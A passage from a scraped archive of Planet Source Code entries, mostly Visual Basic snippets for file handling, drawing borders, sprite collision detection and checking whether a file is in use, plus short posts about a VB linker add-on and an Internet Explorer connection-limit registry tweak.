SC_SCREENSAVE, _\n 0&)\nEnd Sub \n"},{"WorldId":1,"id":21480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21513,"LineNumber":1,"line":"'-------FileSys V1.0-------\n'----by Samuel Truscott----\n'----www.pezcore.co.uk-----\nPublic Sub Save(filename as string)\nif filereal = true then\n if msgbox(\"Overwrite File?\", vbYesNo) = vbYes then\n deletefile(filename)\n 'save file code\nelse\n 'do NOT overwrite the file\nend if\nend if\nEnd Sub\nPublic Function FileReal(Filename) As Boolean\nOn Error goto Error\nIf Dir(Filename) = Filename Then\nFileReal = True\nElse\nFileReal = False\nEnd If\nExit Function\nError:\nExit Sub\nEnd Function\nPublic Function GetFileSize(FileName) As String\nOn Error GoTo Gfserror\nDim TempStr As String\nTempStr = FileLen(FileName)\nIf TempStr >= \"1024\" Then\n'KB\nTempStr = CCur(TempStr / 1024) & \"KB\"\n Else\n If TempStr >= \"1048576\" Then\n 'MB\n TempStr = CCur(TempStr / (1024 * 1024)) & \"KB\"\n Else\n TempStr = CCur(TempStr) & \"B\"\n End If\nEnd If\nGetFileSize = TempStr\nExit Function\nGfserror:\nGetFileSize = \"0B\"\nResume\nEnd Function\nPublic Function GetAttrib(FileName) As String\nOn Error GoTo GAError\nDim TempStr As String\nTempStr = GetAttr(FileName)\nIf TempStr = \"64\" Then\nTempStr = \"Alias\"\nEnd If\nIf TempStr = \"32\" Then\nTempStr = \"Archive\"\nEnd If\nIf TempStr = \"16\" Then\nTempStr = \"Directory\"\nEnd If\nIf TempStr = \"2\" Then\nTempStr = \"Hidden\"\nEnd If\nIf TempStr = \"0\" Then\nTempStr = \"Normal\"\nEnd If\nIf TempStr = \"1\" Then\nTempStr = \"ReadOnly\"\nEnd If\nIf TempStr = \"4\" Then\nTempStr = \"System\"\nEnd If\nIf TempStr = \"8\" Then\nTempStr = \"Volume\"\nEnd If\nGetAttrib = TempStr\nExit Function\nGAError:\nGetAttrib = \"Unknown\"\nResume\nEnd Function\nPublic Sub SetHidden(FileName As String)\nOn Error Resume Next\nSetAttr FileName, vbHidden\nEnd Sub\nPublic Sub SetReadOnly(FileName As String)\nOn Error Resume Next\nSetAttr FileName, vbReadOnly\nEnd Sub\nPublic Sub SetSystem(FileName As String)\nOn Error Resume Next\nSetAttr FileName, vbSystem\nEnd Sub\nPublic Sub SetNormal(FileName As String)\nOn Error Resume Next\nSetAttr FileName, vbNormal\nEnd Sub\nPublic Function GetFileExtension(FileName As String)\nOn Error Resume Next\nDim TempStr As String\nTempStr = Right(FileName, 2)\nIf Left(TempStr, 1) = \".\" Then\nGetFileExtension = Right(FileName, 1)\nExit Function\nElse\n TempStr = Right(FileName, 3)\n If Left(TempStr, 1) = \".\" Then\n GetFileExtension = Right(FileName, 2)\n Exit Function\n Else\n TempStr = Right(FileName, 4)\n If Left(TempStr, 1) = \".\" Then\n GetFileExtension = Right(FileName, 3)\n Exit Function\n Else\n TempStr = Right(FileName, 5)\n If Left(TempStr, 1) = \".\" Then\n GetFileExtension = Right(FileName, 4)\n Exit Function\n Else\n GetFileExtension = \"Unknown\"\n End If\n End If\n End If\nEnd If\n \nEnd Function\nPublic Function GetFileDate(FileName As String) As String\nOn Error Resume Next\nGetFileDate = FileDateTime(FileName)\nEnd Function\nPublic Sub DeleteFile(FileName As String)\nOn Error GoTo DelError\nKill FileName\nExit Sub\nDelError:\nMsgBox \"Error deleting File\"\nResume\nEnd Sub\nPublic Sub CopyFile(Source As String, Destination As String)\nOn Error GoTo CopyError\nFileCopy Source, Destination\nExit Sub\nCopyError:\nMsgBox \"Error copying File\"\nResume\nEnd Sub\nPublic Sub MoveFile(Source As String, Destination As String)\nOn Error GoTo MoveError\nFileCopy Source, Destination\nKill Source\nExit Sub\nMoveError:\nMsgBox \"Error moving File\"\nResume\nEnd Sub\nPublic Sub MakeDIR(Path As String)\nOn Error GoTo DIRError\nMkDir Path\nExit Sub\nDIRError:\nMsgBox \"Error creating Directory\"\nResume\nEnd Sub\nPublic Sub RemoveDIR(Path As String)\nOn Error GoTo DIRError2\nRmDir Path\nExit Sub\nDIRError2:\nMsgBox \"Error removing Directory\"\nResume\nEnd Sub\nPublic Sub CloseAllFiles()\nOn Error Resume Next\nReset\nEnd Sub\n"},{"WorldId":1,"id":21515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21540,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21548,"LineNumber":1,"line":"<div style=\"BACKGROUND-COLOR: moccasin\"><h3><a href=\"http://lockfree.50megs.com/linker.html\">VB Gui linker For Version 5 & 6 - new version 06/03/2001</a> \n<h3>Important :</h2> \n<h3>The Current version doesnot include the original link.exe file \nin order to fit into all the versions and to avoid Runtime error - \"Bad Record Number\" \nto use the linker filter just rename your original link.exe to orglink.exe and save the new link.exe in the vb98 /vb5 folder (instead of the original). \nall the actions have been taken by the linker in older versions are the same, \nexcept the dll creation process : \nto link a dynamic link library in vb you must compile your project as a PCode project \nthe next step is the same : \nchoose : make dll \nand specify the function name to export \n</h3> \n<h3>Tips: \n1.to return strings use the byref statement \n2.dont include forms in your project \n3.to export more than one function per dll use the definition file. \n(example for definition file: \n \n EXPORTS \n function1 \n function2 \n function3 \n \nend of example) \nor you can write the first function in the export section and add the following : /export:func2 /export:func3 \n</h3> \n<h1>Enjoy It \n \nUdi S.\n</h1>\n</h1></div>"},{"WorldId":1,"id":21553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21557,"LineNumber":1,"line":"**UPDATE** \nI have updated some small errors, and commented the project file some. And better servers\n \nI did read that PSCode didn't want articles just linking to another site, but I don't see any other way. \nLook at the end to see the link. \nIt will guide you trhough creating a fully working OCX. I have also included the project of the OCX in the compressed file (in the future this project will be more commented). \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/ocx/1.htm\">This is the article</A> \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/ocx.zip\">This is the compressed file (located on another server than pscode)</A> \nHope you enjoy reading the article, and I will try to keep on posting more stuff like this article in the future. \nPlease give me feedback \nError in the upload script so can't uplaod the compressed to pscode."},{"WorldId":1,"id":21558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21573,"LineNumber":1,"line":"If App.PrevInstance = True Then\nMsgBox \"There Is Already Another Instance Of This Application Running, Please Close It And Try Again.\", vbExclamation, \"Error\"\nEnd\nEnd If"},{"WorldId":1,"id":21576,"LineNumber":1,"line":"For Internet Explorer (IE) users. \nGetting tired of waiting for that PSC web page to load in IE. Have you ever noticed the status bar at the bottom of your Internet Explorer screen when viewing PSC web pages says something like downloading 1.. of 50 files. Well as it turns out IE supports this nasty RFC 2068 that limits the number of simultaneous connections to a web site making your browsing experience slow beyond belief. Well my friends you can bypass this little setting with the nice little registry addition mentioned below. The following text is taken directly from Microsoft Article ID: Q183110 \n\"WinInet will limit connections to a single HTTP 1.0 server to four simultaneous connections. Connections to a single HTTP 1.1 server will be limited to two simultaneous connections. The HTTP 1.1 specification (RFC2068) mandates the two connection limit while the four connection limit for HTTP 1.0 is a self-imposed restriction which coincides with the standard used by a number of popular Web browsers. \" \nFor those of you that tend to open 2,3 or even a dozen browser screens while looking at PSC code/articles you will love the performance hike you see by making this change. \nAs with anything you do to a computer making registry changes with regedit can be destructive so I take no responsibility if you break something. If you dont know how to use Regedit ask someone that does. \nFor those of you looking to get even more performance when browsing the PSC site see the tweaks below. I recommend using image placeholders when rendering images, which will allow the page to render much more quickly. \n<A HREF=http://support.microsoft.com/support/kb/articles/Q183/1/10.ASP>INFO: WinInet Limits Connections Per Server\n</A> \n<A HREF=http://support.microsoft.com/support/kb/articles/Q153/7/90.asp>How to Improve Browsing Performance in Internet Explorer</A>\n"},{"WorldId":1,"id":21586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21598,"LineNumber":1,"line":"'######################################################'\n'<<<<<<<<<<<<<-------Borders--------->>>>>>>>>>>>>>>>>>'\n'######################################################'\n'By Daniel Taylor\n'These functions let you put custom borders on any\n'picturebox, form or any other control that can have\n'lines and points drawn on it.\n'Also included is a way to gray out these controls, and\n'to draw centered text on them easily.\n'Use this code however you want, I hate copyrights, not\n'about to put one on here.\n'A lot of the code in each procedure is the same, i tried\n'to make most of it so you just had to cut and paste one\n'function if you didn't want to use the entire module in\n'your own projects. The Layered one uses 1 other function\n'the GetRGB function just after the layered one.\n'This is Pure VB, no extra files or API calls.\n'Setting the Text property to something other than \"\" in\n'the border functions will get you a frame.\nPublic Function Etch(SrcObj As Object, Optional Color1 As OLE_COLOR = &HE0E0E0, Optional Color2 As OLE_COLOR = &H404040, Optional Text As String = \"\", Optional TextColor As OLE_COLOR = 0)\n Dim YPos As Integer, SWidth As Integer, SHeight As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n 'put to vars, faster\n SWidth = SrcObj.ScaleWidth - 1\n SHeight = SrcObj.ScaleHeight - 1\n 'Check if theres text, if so, it's a frame...\n If Text <> \"\" Then\n YPos = SrcObj.TextHeight(Text) / 2\n Else\n YPos = 0\n End If\n 'oustide\n SrcObj.Line (0, YPos)-(SWidth, YPos), Color2\n SrcObj.Line (0, YPos)-(0, SHeight), Color2\n SrcObj.Line (0, SHeight)-(SWidth, SHeight), Color1\n SrcObj.Line (SWidth, YPos)-(SWidth, SHeight), Color1\n 'inside\n YPos = YPos + 1\n SWidth = SWidth - 1\n SHeight = SHeight - 1\n SrcObj.Line (1, YPos)-(SWidth, YPos), Color1\n SrcObj.Line (1, YPos)-(1, SHeight), Color1\n SrcObj.Line (1, SHeight)-(SWidth, SHeight), Color2\n SrcObj.Line (SWidth, YPos)-(SWidth, SHeight), Color2\n If Text <> \"\" Then\n Dim ForeCHolder\n 'get rid of line where text will be\n SrcObj.Line (4, 0)-(SrcObj.TextWidth(Text) + 6, SrcObj.TextHeight(Text)), SrcObj.BackColor, BF\n 'draw the text\n SrcObj.CurrentX = 5\n SrcObj.CurrentY = 0\n ForeCHolder = SrcObj.ForeColor\n SrcObj.ForeColor = TextColor\n SrcObj.Print Text\n SrcObj.ForeColor = ForeCHolder\n End If\nEnd Function\nPublic Function Out(SrcObj As Object, Optional Color1 As OLE_COLOR = &HE0E0E0, Optional Color2 As OLE_COLOR = &H404040, Optional Text As String = \"\", Optional TextColor As OLE_COLOR = 0)\n Dim YPos As Integer, SWidth As Integer, SHeight As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n 'put to vars, faster\n SWidth = SrcObj.ScaleWidth - 1\n SHeight = SrcObj.ScaleHeight - 1\n If Text <> \"\" Then\n YPos = SrcObj.TextHeight(Text) / 2\n Else\n YPos = 0\n End If\n 'oustide\n SrcObj.Line (0, YPos)-(SWidth, YPos), Color1\n SrcObj.Line (0, YPos)-(0, SHeight), Color1\n SrcObj.Line (0, SHeight)-(SWidth, SHeight), Color2\n SrcObj.Line (SWidth, YPos)-(SWidth, SHeight), Color2\n If Text <> \"\" Then\n Dim ForeCHolder\n 'get rid of line where text will be\n SrcObj.Line (4, 0)-(SrcObj.TextWidth(Text) + 6, SrcObj.TextHeight(Text)), SrcObj.BackColor, BF\n 'draw the text\n SrcObj.CurrentX = 5\n SrcObj.CurrentY = 0\n ForeCHolder = SrcObj.ForeColor\n SrcObj.ForeColor = TextColor\n SrcObj.Print Text\n SrcObj.ForeColor = ForeCHolder\n End If\nEnd Function\nPublic Function OutLayered(SrcObj As Object, Times As Integer, Optional Color1 As OLE_COLOR = &HE0E0E0, Optional Color2 As OLE_COLOR = &H404040)\n 'For this function we get the RGB value of each involved color and\n 'fade it into the background color slowly, as we move towards the\n 'inside.\n '#########################################################''\n 'This doesn't seem to work right, can anyone fix it and send\n 'me a copy at Dan@nknet.com? Thanks'''''''''''''''''''''''''\n '#########################################################''\n Dim SWidth As Integer, SHeight As Integer, Count As Integer\n Dim Red1 As Integer, Green1 As Integer, Blue1 As Integer\n Dim Red2 As Integer, Green2 As Integer, Blue2 As Integer\n Dim Red3 As Integer, Green3 As Integer, Blue3 As Integer\n Dim Percent As Double, DifR, DifB, DifG, DifR2, DifG2, DifB2\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n 'put to vars, faster\n SWidth = SrcObj.ScaleWidth - 1\n SHeight = SrcObj.ScaleHeight - 1\n GetRGB Color1, Red1, Green1, Blue1\n GetRGB Color2, Red2, Green2, Blue2\n GetRGB SrcObj.BackColor, Red3, Green3, Blue3\n 'get the diference in color to use later\n DifR = Abs(Red1 - Red3)\n DifG = Abs(Green1 - Green3)\n DifB = Abs(Blue1 - Blue3)\n DifR2 = Abs(Red2 - Red3)\n DifG2 = Abs(Green2 - Green3)\n DifB2 = Abs(Blue2 - Blue3)\n 'just draw layer after layer\n For Count = 0 To Times - 1\n Percent = Count / (Times - 1)\n 'get the percent of color mixture between high/low spots\n 'and the backcolor, and use these colors. increases every\n 'time until its the backcolor, supposed to anyway.....\n SrcObj.Line (Count, Count)-(SWidth, Count), RGB((Percent * DifR) + Red1, (Percent * DifG) + Green1, (Percent * DifB) + Blue1)\n SrcObj.Line (Count, Count)-(Count, SHeight), RGB((Percent * DifR) + Red1, (Percent * DifG) + Green1, (Percent * DifB) + Blue1)\n SrcObj.Line (Count, SHeight)-(SWidth + 1, SHeight), RGB((Percent * DifR) + Red2, (Percent * DifG) + Green2, (Percent * DifB) + Blue2)\n SrcObj.Line (SWidth, Count)-(SWidth, SHeight + 1), RGB((Percent * DifR) + Red2, (Percent * DifG) + Green2, (Percent * DifB) + Blue2)\n SWidth = SWidth - 1\n SHeight = SHeight - 1\n Next Count\nEnd Function\nPublic Function GetRGB(Color As OLE_COLOR, Red, Green, Blue)\n 'gets Red, Green, and Blue values of a color\n 'I think i saw this on www.PlanetSourceCode.com\n Red = Color And &HFF\n Green = (Color And &HFF00&) / 255\n Blue = (Color And &HFF0000) / 65536\nEnd Function\nPublic Function DottedLine(SrcObj As Object, Optional Color As OLE_COLOR = &H404040, Optional Interval = 2, Optional Text As String = \"\", Optional TextColor As OLE_COLOR = 0)\n 'this draws a dotted line(can also be solid -> set interval to 0)\n 'by \"stepping\" over a number of pixels and drawing every Nth pixel,\n 'the steps are made with the Interval argument.\n Dim X As Integer, Y As Integer, YPos As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n If Text <> \"\" Then\n YPos = SrcObj.TextHeight(Text) / 2\n Else\n YPos = 0\n End If\n For X = 0 To SrcObj.ScaleWidth - 1 Step Interval\n SrcObj.PSet (X, YPos), Color\n SrcObj.PSet (X, SrcObj.ScaleHeight - 1), Color\n Next X\n For Y = YPos To SrcObj.ScaleHeight - 1 Step Interval\n SrcObj.PSet (0, Y), Color\n SrcObj.PSet (SrcObj.ScaleWidth - 1, Y), Color\n Next Y\n If Text <> \"\" Then\n Dim ForeCHolder\n 'get rid of line where text will be\n SrcObj.Line (4, 0)-(SrcObj.TextWidth(Text) + 6, SrcObj.TextHeight(Text)), SrcObj.BackColor, BF\n 'draw the text\n SrcObj.CurrentX = 5\n SrcObj.CurrentY = 0\n ForeCHolder = SrcObj.ForeColor\n SrcObj.ForeColor = TextColor\n SrcObj.Print Text\n SrcObj.ForeColor = ForeCHolder\n End If\nEnd Function\nPublic Function GreyOut(SrcObj As Object, Optional Method As Byte = 1, Optional Color As OLE_COLOR = &H808080, Optional Interval As Integer = 2)\n Dim X As Integer, Y As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n If Method = 1 Then\n 'fill regiona with gray dots at intervals\n For X = 0 To SrcObj.ScaleWidth - 1 Step Interval\n For Y = 0 To SrcObj.ScaleHeight - 1 Step Interval\n SrcObj.PSet (X, Y), Color\n Next Y\n Next X\n Else\n 'fill region using grey mask, sometimes doesn't work...\n Dim DrawModeHolder As Integer\n DrawModeHolder = SrcObj.DrawMode\n SrcObj.DrawMode = 9\n SrcObj.Line (0, 0)-(SrcObj.ScaleWidth, SrcObj.ScaleHeight), Color, BF\n SrcObj.DrawMode = DrawModeHolder\n End If\nEnd Function\nPublic Function CText(SrcObj As Object, Text As String, Optional X = \"Center\", Optional Y = \"Center\")\n 'The easiest way to draw centered text on a form/picturebox/ect...\n 'You can also supply an X and Y coordinate to draw at.\n 'To use, set the objects font to whatever you want and then\n 'use CText, it's that easy!\n Dim X1 As Integer, Y1 As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n X1 = (SrcObj.ScaleWidth / 2) - (SrcObj.TextWidth(Text) / 2)\n Y1 = (SrcObj.ScaleHeight / 2) - (SrcObj.TextHeight(Text) / 2)\n 'check if text should be centered or not\n If X = \"Center\" Then\n SrcObj.CurrentX = X1\n Else\n SrcObj.CurrentX = X\n End If\n If Y = \"Center\" Then\n SrcObj.CurrentY = Y1\n Else\n SrcObj.CurrentY = Y\n End If\n 'finally draw text to control\n SrcObj.Print Text\nEnd Function\nPublic Function PlainBorder(SrcObj As Object, Optional Color As OLE_COLOR = &H404040, Optional Width = 1, Optional Text As String = \"\", Optional TextColor As OLE_COLOR = 0)\n 'just draw a box around object\n Dim YPos As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n 'check if its supposed to be a frame...\n If Text <> \"\" Then\n YPos = SrcObj.TextHeight(Text) / 2\n Else\n YPos = 0\n End If\n 'if width is 1 then just draw a box, else fill the entire thing\n 'and delete inside width area\n If Width < 2 Then\n SrcObj.Line (0, YPos)-(SrcObj.ScaleWidth - 1, SrcObj.ScaleHeight - 1), Color, B\n Else\n SrcObj.Line (0, YPos)-(SrcObj.ScaleWidth - 1, SrcObj.ScaleHeight - 1), Color, BF\n SrcObj.Line (Width, YPos + Width)-(SrcObj.ScaleWidth - (1 + Width), SrcObj.ScaleHeight - (1 + Width)), SrcObj.BackColor, BF\n End If\n If Text <> \"\" Then\n Dim ForeCHolder\n 'get rid of line where text will be\n SrcObj.Line (4, 0)-(SrcObj.TextWidth(Text) + 6, SrcObj.TextHeight(Text)), SrcObj.BackColor, BF\n 'draw the text\n SrcObj.CurrentX = 5\n SrcObj.CurrentY = 0\n ForeCHolder = SrcObj.ForeColor\n SrcObj.ForeColor = TextColor\n SrcObj.Print Text\n SrcObj.ForeColor = ForeCHolder\n End If\nEnd Function"},{"WorldId":1,"id":21622,"LineNumber":1,"line":"Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nDeclare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nDeclare Function DeleteDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nDeclare Function CreateCompatibleBitmap Lib \"gdi32\" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long\nDeclare Function GetPixel Lib \"gdi32\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long\nDeclare Function BitBlt Lib \"gdi32\" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long\nDeclare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long\nDeclare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nDeclare Function IntersectRect Lib \"user32\" (lpDestRect As RECT, lpSrc1Rect As RECT, lpSrc2Rect As RECT) As Long\n'-------------------------------------------\n' Collision Detection (Sprites)\n'-------------------------------------------\n' - Acknowledgement here goes to Richard Lowe (riklowe@hotmail.com) for his collision detection\n' algorithm which I have used as the basis of my collision detection algorithm. Most of the logic in\n' here is radically different though, and his algorithm originally didn't deallocate memory properly ;-)\n' - All X/Y/Width/Height values MUST be measured in pixels (ScaleMode = 3).\n' - Compares bounding rectangles, and if they overlap, it goes to a pixel-by-pixel comparison.\n' This therefore has detection down to the pixel level.\n' Function assumes you are using Masking sprites (not an unreasonable assumption, I'm sure you'll agree).\n' - e.g. To test if collision has occurred between two sprites, one called \"Ball\", the other \"Bat\":\n' CollisionDetect(Ball.X,Ball.Y,Ball.Width, Ball.Height, 0, 0, Ball.MaskHdc, Bat.X, Bat.Y, Bat.Width, Bat.Height, 0, 0, Bat.MaskHdc)\nPublic Function CollisionDetect(ByVal x1 As Long, ByVal y1 As Long, ByVal X1Width As Long, ByVal Y1Height As Long, _\n ByVal Mask1LocX As Long, ByVal Mask1LocY As Long, ByVal Mask1Hdc As Long, ByVal x2 As Long, ByVal y2 As Long, _\n ByVal X2Width As Long, ByVal Y2Height As Long, ByVal Mask2LocX As Long, ByVal Mask2LocY As Long, _\n ByVal Mask2Hdc As Long) As Boolean\n' I'm going to use RECT types to do this, so that the Windows API can do the hard bits for me.\nDim MaskRect1 As RECT\nDim MaskRect2 As RECT\nDim DestRect As RECT\nDim i As Long\nDim j As Long\nDim Collision As Boolean\nDim MR1SrcX As Long\nDim MR1SrcY As Long\nDim MR2SrcX As Long\nDim MR2SrcY As Long\nDim hNewBMP As Long\nDim hPrevBMP As Long\nDim tmpObj As Long\nDim hMemDC As Long\n MaskRect1.Left = x1\n MaskRect1.Top = y1\n MaskRect1.Right = x1 + X1Width\n MaskRect1.Bottom = y1 + Y1Height\n MaskRect2.Left = x2\n MaskRect2.Top = y2\n MaskRect2.Right = x2 + X2Width\n MaskRect2.Bottom = y2 + Y2Height\n i = IntersectRect(DestRect, MaskRect1, MaskRect2)\n If i = 0 Then\n CollisionDetect = False\n Else\n ' The two rectangles intersect, so let's go to a pixel by pixel comparison\n ' Set SourceX and Y values for both Mask HDC's...\n If x1 > x2 Then\n MR1SrcX = 0\n MR2SrcX = x1 - x2\n Else\n MR2SrcX = 0\n MR1SrcX = x2 - x1\n End If\n If y1 > y2 Then\n MR2SrcY = y1 - y2\n MR1SrcY = 0\n Else\n MR2SrcY = 0 ' here\n MR1SrcY = y2 - y1 - 1\n End If\n \n ' Allocate memory DC and Bitmap in which to do the comparison\n hMemDC = CreateCompatibleDC(Screen.ActiveForm.hdc)\n hNewBMP = CreateCompatibleBitmap(Screen.ActiveForm.hdc, DestRect.Right - DestRect.Left, DestRect.Bottom - DestRect.Top)\n hPrevBMP = SelectObject(hMemDC, hNewBMP)\n ' Blit the first sprite into it\n i = BitBlt(hMemDC, 0, 0, DestRect.Right - DestRect.Left, DestRect.Bottom - DestRect.Top, _\n Mask1Hdc, MR1SrcX + Mask1LocX, MR1SrcY + Mask1LocY, vbSrcCopy)\n ' Logical OR the second sprite with the first sprite\n i = BitBlt(hMemDC, 0, 0, DestRect.Right - DestRect.Left, DestRect.Bottom - DestRect.Top, _\n Mask2Hdc, MR2SrcX + Mask2LocX, MR2SrcY + Mask2LocY, vbSrcPaint)\n \n Collision = False\n For i = 0 To DestRect.Bottom - DestRect.Top - 1\n For j = 0 To DestRect.Right - DestRect.Left - 1\n If GetPixel(hMemDC, j, i) = 0 Then ' If there are any black pixels\n Collision = True\n Exit For\n End If\n Next\n If Collision = True Then\n Exit For\n End If\n Next\n CollisionDetect = Collision\n \n ' Destroy any allocated objects and DC's\n tmpObj = SelectObject(hMemDC, hPrevBMP)\n tmpObj = DeleteObject(tmpObj)\n tmpObj = DeleteDC(hMemDC)\n End If\nEnd Function\n"},{"WorldId":1,"id":21628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21636,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21674,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21680,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21691,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21694,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21735,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21736,"LineNumber":1,"line":"Private Function FileReady(strFileName As String) As Boolean\n'***********************************************\n' * Programmer Name : Jerry Barnett\n' * Procedure Name : FileReady\n' * Parameters : strFileName As String -┬á\n' * Filename to check\n' * Returns : TRUE - if the file exists and\n' * is not in use\n' * by any other process.\n' * FALSE - if the file is in use by\n' * another process, or does\n' * not exist.\n'***********************************************\n' * Comments : This function checks to \n' * see if a file is ready for use. It\n' * tries to┬áopen the file for\n' * exclusive use.\n' *┬á\n' * NOTE - An example of where this\n' * function would be used is as\n' * follows:\n' * You have an application that needs\n' * to process files as they are\n' * created┬áin a directory. However \n' * since they could be large files \n' * you don't want to start\n' * processing the file before it \n' * is completely copied (or FTP'd)\n' * into the directory. This function\n' * will determine if the copy or FTP\n' * is complete so that you can then\n' * open the file for processing.\n'************************************\n' * The following Constants and \n' * Declares must be placed in the\n' * Module DECLARES section.\n'************************************\n' *\n' * Public Const SHARE_EXCLUSIVE = &H0\n' * Public Const INVALID_HANDLE_VALUE = -1\n' * Public Const ERROR_ALREADY_EXISTS = 183&\n' * Public Const OPEN_EXISTING = 3\n' * Public Const FILE_ATTRIBUTE_NORMAL = &H80\n' * Public Const GENERIC_READ = &H80000000\n' *\n' * Public Type SECURITY_ATTRIBUTES\n' * nLength As Long\n' * lpSecurityDescriptor As Long\n' * bInheritHandle As Long\n' * End Type\n' *\n' * Public Declare Function GetLastError _\n' * Lib \"kernel32\" () As Long\n' *\n' * Public Declare Function CreateFile Lib _\n' * \"kernel32\" Alias \"CreateFileA\" _\n' * (ByVal lpFileName As String, _\n' * ByVal dwDesiredAccess As Long, _\n' * ByVal dwShareMode As Long, _\n' * pSecurityAttributes As SECURITY_ATTRIBUTES, _\n' * ByVal dwCreationDisposition As Long, _\n' * ByVal dwFlagsAndAttributes As Long, _\n' * ByVal hTemplateFile As Long) As Long\n' *\n' * Public Declare Function CloseHandle Lib _\n' * \"kernel32\" (ByVal hObject As Long) As Long\n' *\n'************************************************\n Dim lReturnCode As Long\n Dim typAtrib As SECURITY_ATTRIBUTES\n ' Try to open the file for exclusive use\n lReturnCode = CreateFile(strFileName, _\n GENERIC_READ, _\n SHARE_EXCLUSIVE, _\n typAtrib, _\n OPEN_EXISTING, _\n FILE_ATTRIBUTE_NORMAL, 0)\n If lReturnCode = INVALID_HANDLE_VALUE Then\n ' Failed exclusive use of file (File not ready)\n FileReady = False\n Exit Function ' Exit function\n End If\n ' File exists and is ready, so close the file\n lReturnCode = CloseHandle(lReturnCode)\n ' Return True (File is Ready)\n FileReady = True\nEnd Function\n'************************************************\n' A Sample of how to use this function:\nPrivate Sub Main()\n Dim lCount as Long\n Dim Const MAXCOUNT = 5 ' Actually this would be in\n ' the module declares section\n Do While Not FileReady(\"FileToCheckFor.txt\") Then\n lCount = lCount + 1\n ' ...... wait some predetermined amount\n ' of time .....\n If lCount = MAXCOUNT Then\n Msg \"File Not Ready! Maximum try's exceeded!\"\n End\n End If\n Loop\n Msg \"File can now pe processed!\"\n ' .... Do your processing code to work\n ' with the file.\nEnd 